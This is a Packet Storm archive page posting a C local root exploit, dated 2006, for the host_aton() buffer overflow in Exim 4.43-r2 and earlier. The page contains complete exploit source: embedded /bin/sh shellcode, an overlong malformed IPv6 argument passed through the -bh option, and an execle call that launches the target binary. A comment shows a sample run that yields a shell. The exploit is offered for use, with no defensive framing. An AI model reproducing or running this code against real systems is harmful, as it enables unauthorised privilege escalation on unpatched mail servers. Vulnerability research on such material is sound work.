what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-exim.c

prdelka-vs-GNU-exim.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

Exim versions 4.43-r2 and prior host_aton() local root exploit.

tags | exploit, local, root
SHA-256 | aebac98246454607fa35d16a81b2ca598ce612832413121e7c0d3f85eac98cf7

prdelka-vs-GNU-exim.c

Change Mirror Download
/* Exim <= 4.43-r2 host_aton() local exploit
* =========================================
* Exim is an highly configurable message transfer agent (MTA) developed
* at the University of Cambridge.A buffer overflow has been found in the
* host_aton() function of exim (CAN-2005-0021).A local attacker could
* trigger the buffer overflow in host_aton() by supplying an illegal
* IPv6 address with more than 8 components, using a command line option.
*
* linux tmp $ id
* uid=1000(user) gid=100(users) groups=10(wheel),18(audio),100(users)
* linux tmp $ ./eximx /usr/sbin/exim
* [ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit
*
* **** SMTP testing session as if from host ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* **** but without any ident (RFC 1413) callback.
* **** This is not for real!
*
* >>> host in host_lookup? yes (matched "*")
* >>> looking up host name for ::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A
* sh-2.05b$ id
* uid=8(mail) gid=12(mail)
* sh-2.05b$
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char cmd1[]="-bh";
char cmd2[]="::%A::%A::%A::%A::%A::%A::%A::%A::%A::%A";

int main(int argc,char* argv[])
{
printf("[ GNU/Linux Exim <= 4.43-r2 host_aton() local exploit\n");
if(argc < 2)
{
printf("Error: [path]\n");
exit(0);
}
char *env[] = {NULL};
execle(argv[1],argv[1],cmd1,cmd2,shellcode,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close